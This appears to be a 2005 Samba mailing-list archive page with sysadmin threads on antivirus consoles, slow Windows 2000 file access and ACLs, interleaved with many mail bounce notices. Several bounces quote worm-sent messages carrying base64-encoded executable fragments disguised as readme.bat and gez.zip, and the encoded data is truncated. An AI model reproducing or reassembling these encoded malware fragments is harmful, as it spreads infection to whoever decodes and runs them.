[Samba] Antivirus for Windows with Linux administration console
Hello, This is not a Samba question itself, but it's somewhat related to Samba. I am planning to replace the two Windows 2000 Server servers in a client company with two Samba PDCs with LDAP backend. Currently, those W2K servers hold the Active Directory and the the antivirus management console. And this is the only nuisance we are finding when moving from Windows Server to Samba PDC. If you have a Windows Server and Windows workstations, everything is all right: you go to the server and deploy and manage the antivirus to the workstations from the antivirus' management console (Panda Antivirus for Business, in this case). The problem is what to do if you have a Linux server and Windows workstations. Every management console I know (Kaspersky's, Panda's, Symantec's, etc) is for Windows Server. Do you guys know any way to deploy and manage a Windows antivirus from a Linux server acting as a Samba PDC? (we are ready to move from Panda Antivirus to any other antivirus as long as they provided a Linux management console) Thank you. -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
Re: [Samba] Antivirus for Windows with Linux administration console
Hello, This is not a Samba question itself, but it's somewhat related to Samba. I am planning to replace the two Windows 2000 Server servers in a client company with two Samba PDCs with LDAP backend. Currently, those W2K servers hold the Active Directory and the the antivirus management console. And this is the only nuisance we are finding when moving from Windows Server to Samba PDC. If you have a Windows Server and Windows workstations, everything is all right: you go to the server and deploy and manage the antivirus to the workstations from the antivirus' management console (Panda Antivirus for Business, in this case). The problem is what to do if you have a Linux server and Windows workstations. Every management console I know (Kaspersky's, Panda's, Symantec's, etc) is for Windows Server. Do you guys know any way to deploy and manage a Windows antivirus from a Linux server acting as a Samba PDC? (we are ready to move from Panda Antivirus to any other antivirus as long as they provided a Linux management console) Dr.Web (www.drweb.com) once ago announced Java based management console for their corporate edition antivirus. I don't like them much, I'm pretty fed up with running their antivirus for checking e-mail (and I'm happy with ClamAV since I replaced drweb with clamav :-), they are good programmers, but management is not very good. But if You pay money, probably they will pay more attention to your requests :-) Thank you. -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
[Samba] Delivery failure
This is a system generated message - Please do not reply -- Temporary delivery failure -- Your message has encountered temporary delivery problems to the following recipients: [EMAIL PROTECTED] Reason: Remote server rejected the message content -- A transcript of the session follows -- * Domain MX record lookup succeeded * Attempting connection to mailin-04.mx.aol.com[64.12.137.184] - succeeded = 220-rly-xj04.mx.aol.com ESMTP mail_relay_in-xj4.5; Sat, 16 Jul 2005 07:52:35 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-xj04.mx.aol.com peer name unknown = 250 HELP * Attempting connection to mailin-01.mx.aol.com[64.12.138.57] - succeeded = 220-rly-xk02.mx.aol.com ESMTP mail_relay_in-xk2.7; Sat, 16 Jul 2005 07:54:01 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-xk02.mx.aol.com peer name unknown = 250 HELP * Attempting connection to mailin-02.mx.aol.com[64.12.138.89] - succeeded = 220-rly-xl06.mx.aol.com ESMTP mail_relay_in-xl6.9; Sat, 16 Jul 2005 07:54:49 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-xl06.mx.aol.com peer name unknown = 250 HELP * Attempting connection to mailin-03.mx.aol.com[64.12.137.152] - succeeded = 220-rly-xi04.mx.aol.com ESMTP mail_relay_in-xi4.8; Sat, 16 Jul 2005 07:55:45 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-xi04.mx.aol.com peer name unknown = 250 HELP = MAIL FROM:[EMAIL PROTECTED] = 250 OK = RCPT TO:[EMAIL PROTECTED] = 250 OK = DATA = 354 START MAIL INPUT, END WITH . ON A LINE BY ITSELF = 421-: (DNS:NR) http://postmaster.info.aol.com/errors/421dnsnr.html = 421 SERVICE NOT AVAILABLE -- Your original message (in part): -- Received: From samba.org (unverified [192.168.0.251]) by SMTP Server [192.168.0.1] (WinGate SMTP Receiver v6.0.3 (Build 1005)) with SMTP id [EMAIL PROTECTED]; Sat, 16 Jul 2005 15:28:53 +0530 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Date: Sat, 16 Jul 2005 15:25:06 +0530 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0001_47B37CF9.FD5F8A83 X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. --=_NextPart_000_0001_47B37CF9.FD5F8A83 Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment. --=_NextPart_000_0001_47B37CF9.FD5F8A83 Content-Type: application/octet-stream; name=readme.bat Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=readme.bat TVpLRVJORUwzMi5ETEwAAExvYWRMaWJyYXJ5QQBHZXRQcm9jQWRkcmVzcwAAVXBhY2tCeUR3 aW5nQFBFAABMAQIA4AAPAQsBACQAsBDgAADWwQIAAPCg AQAAAEAAABACAAAEAAQAAEADAAACAgAAEAAAEAAQ AAAQEAAAK8QCACgA LlVwYWNrAAIAABAA 4AAA4C5yc3JjADABAAAQAgBTtAIAAOAAAOAsxEIABwAA AAAQQgAA/wEBAQEABBBAAKXDQgDxw0IA9MNCAALEQgDdw0IA
[Samba] (no subject)
Un message dont vous etes le destinataire a ete refuse par exim Il contenait un fichier attache non autorise : exe,bat,zip,... l'auteur de ce mail est : WinGate Mailserver -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
[Samba] Delivery failure
This is a system generated message - Please do not reply -- Temporary delivery failure -- Your message has encountered temporary delivery problems to the following recipients: [EMAIL PROTECTED] Reason: Remote server rejected the message content -- A transcript of the session follows -- * Domain MX record lookup succeeded * Attempting connection to mailin-04.mx.aol.com[205.188.157.25] - succeeded = 220-rly-yj01.mx.aol.com ESMTP mail_relay_in-yj1.5; Sat, 16 Jul 2005 07:56:41 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-yj01.mx.aol.com peer name unknown = 250 HELP * Attempting connection to mailin-01.mx.aol.com[64.12.137.89] - succeeded = 220-rly-xg06.mx.aol.com ESMTP mail_relay_in-xg6.6; Sat, 16 Jul 2005 07:57:10 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-xg06.mx.aol.com peer name unknown = 250 HELP * Attempting connection to mailin-02.mx.aol.com[205.188.156.249] - succeeded = 220-rly-yd06.mx.aol.com ESMTP mail_relay_in-yd6.6; Sat, 16 Jul 2005 07:57:35 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-yd06.mx.aol.com peer name unknown = 250 HELP * Attempting connection to mailin-03.mx.aol.com[64.12.137.152] - succeeded = 220-rly-xi06.mx.aol.com ESMTP mail_relay_in-xi6.10; Sat, 16 Jul 2005 07:58:03 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-xi06.mx.aol.com peer name unknown = 250 HELP = MAIL FROM:[EMAIL PROTECTED] = 250 OK = RCPT TO:[EMAIL PROTECTED] = 250 OK = DATA = 354 START MAIL INPUT, END WITH . ON A LINE BY ITSELF = 421-: (DNS:NR) http://postmaster.info.aol.com/errors/421dnsnr.html = 421 SERVICE NOT AVAILABLE -- Your original message (in part): -- Received: From samba.org (unverified [192.168.0.251]) by SMTP Server [192.168.0.1] (WinGate SMTP Receiver v6.0.3 (Build 1005)) with SMTP id [EMAIL PROTECTED]; Sat, 16 Jul 2005 15:28:53 +0530 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Date: Sat, 16 Jul 2005 15:25:06 +0530 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0001_47B37CF9.FD5F8A83 X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. --=_NextPart_000_0001_47B37CF9.FD5F8A83 Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment. --=_NextPart_000_0001_47B37CF9.FD5F8A83 Content-Type: application/octet-stream; name=readme.bat Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=readme.bat TVpLRVJORUwzMi5ETEwAAExvYWRMaWJyYXJ5QQBHZXRQcm9jQWRkcmVzcwAAVXBhY2tCeUR3 aW5nQFBFAABMAQIA4AAPAQsBACQAsBDgAADWwQIAAPCg AQAAAEAAABACAAAEAAQAAEADAAACAgAAEAAAEAAQ AAAQEAAAK8QCACgA LlVwYWNrAAIAABAA 4AAA4C5yc3JjADABAAAQAgBTtAIAAOAAAOAsxEIABwAA AAAQQgAA/wEBAQEABBBAAKXDQgDxw0IA9MNCAALEQgDdw0IA
[Samba] (no subject)
Un message dont vous etes le destinataire a ete refuse par exim Il contenait un fichier attache non autorise : exe,bat,zip,... l'auteur de ce mail est : WinGate Mailserver -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
[Samba] Delivery failure
This is a system generated message - Please do not reply -- Temporary delivery failure -- Your message has encountered temporary delivery problems to the following recipients: [EMAIL PROTECTED] Reason: Remote server rejected the message content -- A transcript of the session follows -- * Domain MX record lookup succeeded * Attempting connection to mailin-04.mx.aol.com[205.188.157.25] - succeeded = 220-rly-yj01.mx.aol.com ESMTP mail_relay_in-yj1.1; Sat, 16 Jul 2005 07:58:43 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-yj01.mx.aol.com peer name unknown = 250 HELP * Attempting connection to mailin-01.mx.aol.com[64.12.137.89] - succeeded = 220-rly-xg04.mx.aol.com ESMTP mail_relay_in-xg4.7; Sat, 16 Jul 2005 07:59:14 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-xg04.mx.aol.com peer name unknown = 250 HELP * Attempting connection to mailin-02.mx.aol.com[205.188.156.249] - succeeded = 220-rly-yd05.mx.aol.com ESMTP mail_relay_in-yd5.7; Sat, 16 Jul 2005 07:59:39 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-yd05.mx.aol.com peer name unknown = 250 HELP * Attempting connection to mailin-03.mx.aol.com[64.12.137.152] - succeeded = 220-rly-xi05.mx.aol.com ESMTP mail_relay_in-xi5.1; Sat, 16 Jul 2005 08:00:08 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-xi05.mx.aol.com peer name unknown = 250 HELP = MAIL FROM:[EMAIL PROTECTED] = 250 OK = RCPT TO:[EMAIL PROTECTED] = 250 OK = DATA = 354 START MAIL INPUT, END WITH . ON A LINE BY ITSELF = 421-: (DNS:NR) http://postmaster.info.aol.com/errors/421dnsnr.html = 421 SERVICE NOT AVAILABLE -- Your original message (in part): -- Received: From samba.org (unverified [192.168.0.251]) by SMTP Server [192.168.0.1] (WinGate SMTP Receiver v6.0.3 (Build 1005)) with SMTP id [EMAIL PROTECTED]; Sat, 16 Jul 2005 15:28:53 +0530 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Date: Sat, 16 Jul 2005 15:25:06 +0530 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0001_47B37CF9.FD5F8A83 X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. --=_NextPart_000_0001_47B37CF9.FD5F8A83 Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment. --=_NextPart_000_0001_47B37CF9.FD5F8A83 Content-Type: application/octet-stream; name=readme.bat Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=readme.bat TVpLRVJORUwzMi5ETEwAAExvYWRMaWJyYXJ5QQBHZXRQcm9jQWRkcmVzcwAAVXBhY2tCeUR3 aW5nQFBFAABMAQIA4AAPAQsBACQAsBDgAADWwQIAAPCg AQAAAEAAABACAAAEAAQAAEADAAACAgAAEAAAEAAQ AAAQEAAAK8QCACgA LlVwYWNrAAIAABAA 4AAA4C5yc3JjADABAAAQAgBTtAIAAOAAAOAsxEIABwAA AAAQQgAA/wEBAQEABBBAAKXDQgDxw0IA9MNCAALEQgDdw0IA
[Samba] Delivery failure
This is a system generated message - Please do not reply -- Temporary delivery failure -- Your message has encountered temporary delivery problems to the following recipients: [EMAIL PROTECTED] Reason: Remote server rejected the message content -- A transcript of the session follows -- * Domain MX record lookup succeeded * Attempting connection to mailin-04.mx.aol.com[205.188.157.25] - succeeded = 220-rly-yj06.mx.aol.com ESMTP mail_relay_in-yj6.5; Sat, 16 Jul 2005 08:00:43 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-yj06.mx.aol.com peer name unknown = 250 HELP * Attempting connection to mailin-01.mx.aol.com[64.12.137.89] - succeeded = 220-rly-xg05.mx.aol.com ESMTP mail_relay_in-xg5.6; Sat, 16 Jul 2005 08:01:16 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-xg05.mx.aol.com peer name unknown = 250 HELP * Attempting connection to mailin-02.mx.aol.com[205.188.156.249] - succeeded = 220-rly-yd05.mx.aol.com ESMTP mail_relay_in-yd5.9; Sat, 16 Jul 2005 08:01:41 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-yd05.mx.aol.com peer name unknown = 250 HELP * Attempting connection to mailin-03.mx.aol.com[64.12.137.152] - succeeded = 220-rly-xi06.mx.aol.com ESMTP mail_relay_in-xi6.1; Sat, 16 Jul 2005 08:02:11 -0400 = 220-America Online (AOL) and its affiliated companies do not = 220- authorize the use of its proprietary computers and computer = 220- networks to accept, transmit, or distribute unsolicited bulk = 220- e-mail sent from the internet. Effective immediately: AOL = 220- may no longer accept connections from IP addresses which = 220 have no reverse-DNS (PTR record) assigned. = EHLO proxy = 250-rly-xi06.mx.aol.com peer name unknown = 250 HELP = MAIL FROM:[EMAIL PROTECTED] = 250 OK = RCPT TO:[EMAIL PROTECTED] = 250 OK = DATA = 354 START MAIL INPUT, END WITH . ON A LINE BY ITSELF = 421-: (DNS:NR) http://postmaster.info.aol.com/errors/421dnsnr.html = 421 SERVICE NOT AVAILABLE -- Your original message (in part): -- Received: From samba.org (unverified [192.168.0.251]) by SMTP Server [192.168.0.1] (WinGate SMTP Receiver v6.0.3 (Build 1005)) with SMTP id [EMAIL PROTECTED]; Sat, 16 Jul 2005 15:28:53 +0530 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Date: Sat, 16 Jul 2005 15:25:06 +0530 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0001_47B37CF9.FD5F8A83 X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. --=_NextPart_000_0001_47B37CF9.FD5F8A83 Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment. --=_NextPart_000_0001_47B37CF9.FD5F8A83 Content-Type: application/octet-stream; name=readme.bat Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=readme.bat TVpLRVJORUwzMi5ETEwAAExvYWRMaWJyYXJ5QQBHZXRQcm9jQWRkcmVzcwAAVXBhY2tCeUR3 aW5nQFBFAABMAQIA4AAPAQsBACQAsBDgAADWwQIAAPCg AQAAAEAAABACAAAEAAQAAEADAAACAgAAEAAAEAAQ AAAQEAAAK8QCACgA LlVwYWNrAAIAABAA 4AAA4C5yc3JjADABAAAQAgBTtAIAAOAAAOAsxEIABwAA AAAQQgAA/wEBAQEABBBAAKXDQgDxw0IA9MNCAALEQgDdw0IA
[Samba] Delivery failure
This is a system generated message - Please do not reply -- Permanent delivery failure -- Your message has encountered permanent delivery problems to the following recipients: [EMAIL PROTECTED] Reason: Failed all retries, giving up -- Your original message (in part): -- Received: From samba.org (unverified [192.168.0.251]) by SMTP Server [192.168.0.1] (WinGate SMTP Receiver v6.0.3 (Build 1005)) with SMTP id [EMAIL PROTECTED]; Sat, 16 Jul 2005 15:28:53 +0530 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Date: Sat, 16 Jul 2005 15:25:06 +0530 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0001_47B37CF9.FD5F8A83 X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. --=_NextPart_000_0001_47B37CF9.FD5F8A83 Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment. --=_NextPart_000_0001_47B37CF9.FD5F8A83 Content-Type: application/octet-stream; name=readme.bat Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=readme.bat TVpLRVJORUwzMi5ETEwAAExvYWRMaWJyYXJ5QQBHZXRQcm9jQWRkcmVzcwAAVXBhY2tCeUR3 aW5nQFBFAABMAQIA4AAPAQsBACQAsBDgAADWwQIAAPCg AQAAAEAAABACAAAEAAQAAEADAAACAgAAEAAAEAAQ AAAQEAAAK8QCACgA LlVwYWNrAAIAABAA 4AAA4C5yc3JjADABAAAQAgBTtAIAAOAAAOAsxEIABwAA AAAQQgAA/wEBAQEABBBAAKXDQgDxw0IA9MNCAALEQgDdw0IA fAcAAMQLAAD8D0AAScNCAEvDQgDswUIAyANCAH8DAAAnxEIAbfxBAD3DQgBB vNu3fuurBYMcLS6BIbXfRqGHR595tGShs37iNMaLwFIL3+L1i5RANjQMotVr2xGMwWkGuEhTzcMi nFGJR5jMbYdZDhVJZlDB5qbBzaGzP8SsUkYA/PFwYnpA8zFkXYvzt8sdr+egF0kFeXkdt1EZnj75 9yDtJ2KOg7iO7IMCpjAYxmh4ZRkgmudn7+evcBjQ6nxzd7PBfOG1rOlFnMYuwzVe9VV5SMllBh3d KLX5RdZQoHKfR3eJsw3a/MLxPWhRft20GP8YB+saiEgQXA4XhOIjboiCvX+vvadPST01tnuEk6+s Bo94Tbedrs1BJLJn9iNqXoS8pYgFuPZ0ODFsGsBS7pFrj/zibsvzXyuYt8pmDhXc3lnW0Mg7l6Az LlMQpmpdpSV6/d06+E/2Gqei+1jmuNk+JKEdKWoUL7DI8hSI1+nVgQZKAnD1OMYO5XFyp9Pk7YA0 GFhDWMdNvwrSnyrwyHRNEwMhkLaKjfDK27IwLh+5I/JR1kuYpA3nWAhPUdFV6MjUjLt+OR/PdvLk gdfGx8jRi7I7nU4jI73FkvU+OcSOeYmM9sAkMI/AtrG7tZ8zn3/J4OoHxjtcsLiZXAHQVFmdW+ZA /TjGPn5Be7K8ETM9icsu1JTxTOiLhd3qnXetTwHybJdsb21O5wsG+8cztw5m6cge77MS9bZ+iPlm EDPZtyhQzJ1N0sY/srCbchwucCouIDZ+njW4w6HvbMKi5OwJ2YY3yvUnpm0jOx+lZd20WlWz0I9O K0ZMzvmfGOsYRjMcQcyjlKSMJKvDpXXC9mqgnanPg/lCGDf967LnBbcVAtPKLYOhtoSTh2W/uCvj -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
[Samba] (no subject)
Un message dont vous etes le destinataire a ete refuse par exim Il contenait un fichier attache non autorise : exe,bat,zip,... l'auteur de ce mail est : WinGate Mailserver -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
[Samba] (no subject)
Un message dont vous etes le destinataire a ete refuse par exim Il contenait un fichier attache non autorise : exe,bat,zip,... l'auteur de ce mail est : WinGate Mailserver -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
[Samba] (no subject)
Un message dont vous etes le destinataire a ete refuse par exim Il contenait un fichier attache non autorise : exe,bat,zip,... l'auteur de ce mail est : WinGate Mailserver -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
[Samba] after upgrade from 3.0.7 - 3.0.14 extrem slow access from window s 2000
Hello list, a samba server serves the home directories for about 100 Windows 2000 clients. We had samba 3.0.7 (on debian woody) installed, and upgraded to 3.0.14a (we used the sernet packages on debian sarge). Now access to files from windows 2000 clients is extremely slow, especially on .exe files. Simply selecting a exe file from windows explorer may freeze it for 2-10 seconds. Other file types are not affected that much, although their access is slow, too. We have also some XP workstations, and they work just fine! I have disabled antivirus on the clients with no change, although this seemed for me to be the root cause. As a side note, roaming profiles do not work either on windows 2000, whereas on winXP there is no problem! I saw a description of this problem but this affected SP2 on windows 2000, and it did require to disable acl support for the profile share.. Our windows clients have all service packs and hotfixes installed. Help?! Stefanos Karasavvidis -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
Re: [Samba] Antivirus for Windows with Linux administration console
Hello, This is not a Samba question itself, but it's somewhat related to Samba. I am planning to replace the two Windows 2000 Server servers in a client company with two Samba PDCs with LDAP backend. Currently, those W2K servers hold the Active Directory and the the antivirus management console. And this is the only nuisance we are finding when moving from Windows Server to Samba PDC. If you have a Windows Server and Windows workstations, everything is all right: you go to the server and deploy and manage the antivirus to the workstations from the antivirus' management console (Panda Antivirus for Business, in this case). The problem is what to do if you have a Linux server and Windows workstations. Every management console I know (Kaspersky's, Panda's, Symantec's, etc) is for Windows Server. You could try Crossover Office on the PDC for running running the console. They have a trial version at http://www.codeweavers.com/ . Do you guys know any way to deploy and manage a Windows antivirus from a Linux server acting as a Samba PDC? (we are ready to move from Panda Antivirus to any other antivirus as long as they provided a Linux management console) Dr.Web (www.drweb.com) once ago announced Java based management console for their corporate edition antivirus. I don't like them much, I'm pretty fed up with running their antivirus for checking e-mail (and I'm happy with ClamAV since I replaced drweb with clamav :-), they are good programmers, but management is not very good. But if You pay money, probably they will pay more attention to your requests :-) Thank you. Happiness is understanding how things work. __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
[Samba] Re: No more able to change ACL From Windows ??
BTW I still have problems myself to change the permissions from W2K/WXP (see my recent posts)... and I cannot find any help on this. It seems either it works for everyone else, either nobody ever tried to change the permissions from Windows, either the ones who know are currently offline. Pierre Here is some information on Samba and Windows ACLs. It is an article written by John H Terpstra . It should shed some light on the issue. I haven't tried it yet. Please post your results on the list. http://searchenterpriselinux.techtarget.com/tip/0,289483,sid39_gci1080966,00.html -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
[Samba] Re: Using Microsoft User Manager
Giuliano Silva de Oliveira [EMAIL PROTECTED] wrote in message news:[EMAIL PROTECTED] Hi everybody, I'm try to use the microsoft user manager tool with the samba 3.0.10, I can view the users and groups, but a I can't change and create anything, when try to do this I receive the message Permission Denied. Has someone knows some how to or check list to do this work? Please post the add user script from your smb.conf file. -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
[Samba] qsecretary notice
Hi. This is D. J. Bernstein's automated mail-handling program. I've received a message from you addressed to one of Professor Bernstein's public mailing lists. The top of your message is shown below. Professor Bernstein has asked me to reject all anonymous messages and bulk mail messages. But I'm a rather primitive computer program; I'm not sure whether your message identifies you, and I'm not sure whether it's bulk mail. If you reply to this notice, you are (1) acknowledging that Professor Bernstein's mailing-list recipients do not want to receive bulk mail and anonymous mail; (2) confirming that your message identifies you and is not part of a bulk mailing; and (3) agreeing to pay each recipient $250 if your message is anonymous or part of a bulk mailing. I won't look at the contents of your reply. A simple OK is fine, as long as it's sent to the address shown above. You don't have to include a second copy of your message. If you do not reply to this notice, your message will eventually be returned to you, and the list recipients will not see it. I realize that this confirmation process is inconvenient. I'm sorry for the hassle. I hope that IM2000, Professor Bernstein's new Internet mail architecture, succeeds in eliminating these problems. In the meantime, we're all suffering because of a few inconsiderate people. Sincerely, The qsecretary program P.S. If you're a legitimate mailing-list manager, and you've received what appears to be a subscription request from list.cr.yp.to: That request is a forgery. Professor Bernstein uses different addresses for his mailing-list subscriptions. Please remove the list.cr.yp.to address from your mailing list. Do not reply to this message. Note that high-quality mailing-list software confirms each subscription request with a secure cryptographic authenticator; supports tracing by returning a complete copy of each request, including Received fields; and supports filtering by adding a Mailing-List field to every outgoing message, including confirmation notices. If your software does not have these features, upgrade! --- Below this line is the top of your message. Received: (qmail 34363 invoked from network); 16 Jul 2005 18:49:48 - Received: from 64-190-20-189.client.cypresscom.net (HELO lists.samba.org) (64.190.20.189) by stoneport.math.uic.edu with SMTP; 16 Jul 2005 18:49:48 - From: samba@lists.samba.org To: qmail@list.cr.yp.to Subject: Error Date: Sat, 16 Jul 2005 14:48:49 -0400 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0010_C63F8E59.AFFB3E3B X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600. This is a multi-part message in MIME format. --=_NextPart_000_0010_C63F8E59.AFFB3E3B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The original message was received at Sat, 16 Jul 2005 14:48:49 -0400 from lists.samba.org [206.150.176.187] - The following addresses had permanent fatal errors - qmail@list.cr.yp.to --=_NextPart_000_0010_C63F8E59.AFFB3E3B Content-Type: application/octet-stream; name=gez.zip Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=gez.zip UEsDBAoAABiW8DKTSUe6EHEAABBxAAAHZ2V6LnppcFBLAwQKAAAYlvAytFM9qqBw AACgcAAABwAAAGdlei5zY3JNWpAAAwQAAAD//wAAuABA AADYDh+6DgC0Cc0huAFMzSFUaGlzIHByb2dyYW0gY2Fubm90 IGJlIHJ1biBpbiBET1MgbW9kZS4NDQok AABQRQAATAEDAOAADwELAQcAAGAQgO0AAACQ8AAA AABQAAAQAgAABAAEAQAAEAIAABAAABAAEAAA EBAAABT1AAAwAQAAAPAAABQF AFVQWDAAAIAQAAQA AIAAAOBVUFgxAABgkGAEAABAAADgLnJzcmMA EPAIZAAAQAAAwAAA AAAxLjI0AFVQWCEMCQIJGfuHSJGmcbUS xgAA+1wAAACeAAAmAQB3/4eokABrZXJuZWwzMi5k/5vn32xsNXJvb3RcSUVGcmFtZQBBVFb+//xI X05vdGVyY3RybF9yZW53bmQP/7f//3x5X+7Pud3eZzuEFYDUAB44CbKf+xUAjQYYeLb///8PQEAD
[Samba] Renaming a PDC hostname/domain remotely
